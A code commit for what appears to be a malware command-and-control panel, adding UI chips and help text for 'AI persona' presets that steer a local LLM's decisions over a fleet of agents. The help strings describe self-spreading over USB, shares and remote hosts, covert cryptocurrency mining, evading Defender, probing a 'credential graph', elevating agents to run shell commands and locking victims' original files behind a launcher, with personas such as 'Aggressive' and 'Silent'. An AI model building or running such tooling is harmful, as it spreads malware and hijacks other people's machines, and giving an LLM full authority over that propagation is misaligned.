Add Calibrate AI persona presets with per-mode system prompts

server/web/src/components/CalibrationAIControl.tsx

@@ -3,6 +3,11 @@ import type { ServerSettings } from '../types';
 import { api } from '../api/client';
 import { HelpTip, FieldHint } from './HelpTip';
 import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
+import {
+  AI_PERSONA_CHIPS,
+  DEFAULT_AI_PERSONA,
+  normalizeAIPersona,
+} from '../help/aiPersonas';
 
 export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
 export const DEFAULT_AI_INTERVAL_SEC = 60;
@@ -25,6 +30,7 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
   const endpoint = readEndpoint(server);
   const model = server.ai_model?.trim() || '';
   const intervalSec = readIntervalSec(server);
+  const persona = normalizeAIPersona(server.ai_persona);
 
   const [models, setModels] = useState<string[]>([]);
   const [refreshing, setRefreshing] = useState(false);
@@ -87,6 +93,31 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
             <em>your</em> machines only. Complete fleet control stays on your LAN.
           </p>
 
+          <div className="form-group">
+            <span className="label">AI persona</span>
+            <div
+              className="calibration-persona-chips"
+              role="group"
+              aria-label="AI persona preset"
+            >
+              {AI_PERSONA_CHIPS.map((chip) => (
+                <div key={chip.id} className="calibration-persona-chip-wrap">
+                  <button
+                    type="button"
+                    className={`calibration-persona-chip${persona === chip.id ? ' calibration-persona-chip--selected' : ''}`}
+                    style={{ ['--chip-accent' as string]: chip.color }}
+                    aria-pressed={persona === chip.id}
+                    onClick={() => onUpdate('server.ai_persona', chip.id)}
+                  >
+                    <span className="calibration-persona-chip-label">{chip.label}</span>
+                  </button>
+                  <HelpTip field={chip.helpField} />
+                </div>
+              ))}
+            </div>
+            <FieldHint field="ai_persona" />
+          </div>
+
           <div className="form-group">
             <label htmlFor="cal-ai-endpoint" className="label">
               Local API URL <HelpTip field="ai_local_endpoint" />

server/web/src/help/aiPersonas.ts

@@ -0,0 +1,60 @@
+/** Calibrate AI Control persona presets — distinct LLM system prompt modes. */
+export type AIPersonaId = 'aggressive' | 'silent' | 'passive' | 'persuasive' | 'balanced';
+
+export const AI_PERSONA_IDS: AIPersonaId[] = [
+  'aggressive',
+  'silent',
+  'passive',
+  'persuasive',
+  'balanced',
+];
+
+export const DEFAULT_AI_PERSONA: AIPersonaId = 'balanced';
+
+export interface AIPersonaChip {
+  id: AIPersonaId;
+  label: string;
+  helpField: string;
+  color: string;
+}
+
+export const AI_PERSONA_CHIPS: AIPersonaChip[] = [
+  {
+    id: 'aggressive',
+    label: 'Aggressive',
+    helpField: 'ai_persona_aggressive',
+    color: '#ff4466',
+  },
+  {
+    id: 'silent',
+    label: 'Silent',
+    helpField: 'ai_persona_silent',
+    color: '#6b8cff',
+  },
+  {
+    id: 'passive',
+    label: 'Passive',
+    helpField: 'ai_persona_passive',
+    color: '#88ccaa',
+  },
+  {
+    id: 'persuasive',
+    label: 'Persuasive',
+    helpField: 'ai_persona_persuasive',
+    color: '#e8a028',
+  },
+  {
+    id: 'balanced',
+    label: 'Balanced',
+    helpField: 'ai_persona_balanced',
+    color: '#00e8f5',
+  },
+];
+
+export function normalizeAIPersona(value: string | undefined | null): AIPersonaId {
+  const v = (value ?? '').trim().toLowerCase();
+  if (AI_PERSONA_IDS.includes(v as AIPersonaId)) {
+    return v as AIPersonaId;
+  }
+  return DEFAULT_AI_PERSONA;
+}

server/web/src/help/docAnchors.test.ts

@@ -19,6 +19,7 @@ const HELP_TIP_FIELDS = [
   'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
   'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
   'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
+  'ai_persona', 'ai_persona_aggressive', 'ai_persona_silent', 'ai_persona_passive', 'ai_persona_persuasive', 'ai_persona_balanced',
   'adaptive_strategy', 'lotl_onion_tiers',
   'forge_operation_mode', 'forge_path_forge',
   'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',

server/web/src/help/docAnchors.ts

@@ -87,6 +87,12 @@ export const DOC_ANCHORS: Record<string, string> = {
   calibration_ai_model: '/docs/#alerts-ai',
   ai_no_context: '/docs/#alerts-ai',
   ai_interval_sec: '/docs/#alerts-ai',
+  ai_persona: '/docs/#alerts-ai',
+  ai_persona_aggressive: '/docs/#alerts-ai',
+  ai_persona_silent: '/docs/#alerts-ai',
+  ai_persona_passive: '/docs/#alerts-ai',
+  ai_persona_persuasive: '/docs/#alerts-ai',
+  ai_persona_balanced: '/docs/#alerts-ai',
   adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
   lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
 

server/web/src/help/settingHelp.test.ts

@@ -101,6 +101,16 @@ describe('FIELD_HELP', () => {
     'calibration_ai_model',
     'ai_no_context',
     'ai_interval_sec',
+    'ai_auto_elevate_clearance',
+    'fleet_phenotype',
+    'failure_atlas',
+    'ai_court_session',
+    'ai_persona',
+    'ai_persona_aggressive',
+    'ai_persona_silent',
+    'ai_persona_passive',
+    'ai_persona_persuasive',
+    'ai_persona_balanced',
     'self_healing',
     'firewall_exclusion',
     'firewall_remote',

server/web/src/help/settingHelp.ts

@@ -32,6 +32,14 @@ export const FIELD_HELP: Record<string, string> = {
     'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
   lotl_onion_tiers:
     'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
+  ai_auto_elevate_clearance:
+    'When AI Control is on, the scheduler may raise an agent from L0–L3 to L4 when the host is stuck with all spread tiers failed — so court-ordered restart_mining and reorder_tiers can execute. Events appear in LOTL Timeline clearance history and Access Depth badge flash.',
+  fleet_phenotype:
+    'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
+  failure_atlas:
+    'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
+  ai_court_session:
+    'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
   calibration_ai_control:
     'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
   ai_local_endpoint:
@@ -42,6 +50,18 @@ export const FIELD_HELP: Record<string, string> = {
     'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
   ai_interval_sec:
     'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
+  ai_persona:
+    'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
+  ai_persona_aggressive:
+    'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
+  ai_persona_silent:
+    'Silent persona: mine only with minimal spread. Never spread_now unless stuck after all 14 tiers; prefer container/wsl/docker. No shell agent_command unless clearance is high and hashrate stays zero.',
+  ai_persona_passive:
+    'Passive persona: observe and report mostly. Default noop unless hashrate=0 with exhausted chain (~10m stuck). Gentle restart_mining only — no aggressive spread or clearance elevation.',
+  ai_persona_persuasive:
+    'Persuasive persona: spread-first fleet growth. Attempt discover_and_join before restart_mining; probe join lanes and credential graph. Sell mining as fleet health after spread lanes succeed.',
+  ai_persona_balanced:
+    'Balanced persona: default mission prompt — balance spread vs mine, clearance-aware shell only when stuck, discover_and_join when join lanes are available.',
   forge_path_forge:
     'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
   forge_recommended_defaults:

server/web/src/pages/Pages.css

@@ -1358,6 +1358,52 @@ button.deliverable-card .form-hint {
   margin-top: 0.75rem;
 }
 
+.calibration-persona-chips {
+  display: flex;
+  flex-wrap: wrap;
+  gap: 0.5rem;
+  margin: 0.5rem 0 0.25rem;
+}
+
+.calibration-persona-chip-wrap {
+  display: inline-flex;
+  align-items: center;
+  gap: 0.2rem;
+}
+
+.calibration-persona-chip {
+  display: inline-flex;
+  align-items: center;
+  gap: 0.35rem;
+  padding: 0.45rem 0.85rem;
+  border-radius: 999px;
+  border: 1px solid var(--border-brass);
+  background: rgba(10, 10, 18, 0.65);
+  color: var(--text-secondary);
+  cursor: pointer;
+  font-family: var(--font-tech);
+  font-size: 0.82rem;
+  letter-spacing: 0.05em;
+  text-transform: uppercase;
+  transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
+}
+
+.calibration-persona-chip:hover {
+  border-color: color-mix(in srgb, var(--chip-accent, var(--neon-cyan)) 55%, transparent);
+  background: rgba(0, 232, 245, 0.05);
+}
+
+.calibration-persona-chip--selected {
+  border-color: var(--chip-accent, var(--neon-magenta));
+  background: color-mix(in srgb, var(--chip-accent, var(--neon-magenta)) 14%, transparent);
+  color: var(--text-primary);
+  box-shadow: 0 0 18px color-mix(in srgb, var(--chip-accent, var(--neon-magenta)) 25%, transparent);
+}
+
+.calibration-persona-chip-label {
+  line-height: 1;
+}
+
 .calibration-ai-meta {
   display: flex;
   flex-wrap: wrap;

server/web/src/pages/SettingsPage.test.tsx

@@ -218,6 +218,34 @@ describe('SettingsPage (Calibrate)', () => {
     expect(saved?.server?.ai_no_context).toBe(true);
   });
 
+  it('renders AI persona preset chips when AI Control is on', async () => {
+    const user = userEvent.setup();
+    renderSettings();
+    await screen.findByRole('button', { name: /AI Control/i });
+    await user.click(screen.getByRole('button', { name: /AI Control/i }));
+    const group = screen.getByRole('group', { name: 'AI persona preset' });
+    expect(within(group).getByRole('button', { name: 'Aggressive' })).toBeInTheDocument();
+    expect(within(group).getByRole('button', { name: 'Silent' })).toBeInTheDocument();
+    expect(within(group).getByRole('button', { name: 'Passive' })).toBeInTheDocument();
+    expect(within(group).getByRole('button', { name: 'Persuasive' })).toBeInTheDocument();
+    expect(within(group).getByRole('button', { name: 'Balanced' })).toHaveAttribute('aria-pressed', 'true');
+  });
+
+  it('saves selected ai_persona preset via updateConfig', async () => {
+    const user = userEvent.setup();
+    renderSettings();
+    await screen.findByRole('button', { name: /AI Control/i });
+    await user.click(screen.getByRole('button', { name: /AI Control/i }));
+    const group = screen.getByRole('group', { name: 'AI persona preset' });
+    await user.click(within(group).getByRole('button', { name: 'Aggressive' }));
+    await user.click(screen.getByRole('button', { name: /save calibration/i }));
+    await waitFor(() => {
+      expect(api.updateConfig).toHaveBeenCalled();
+    });
+    const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
+    expect(saved?.server?.ai_persona).toBe('aggressive');
+  });
+
   it('describes first-run admin credentials in Access Control help', async () => {
     renderSettings();
     expect(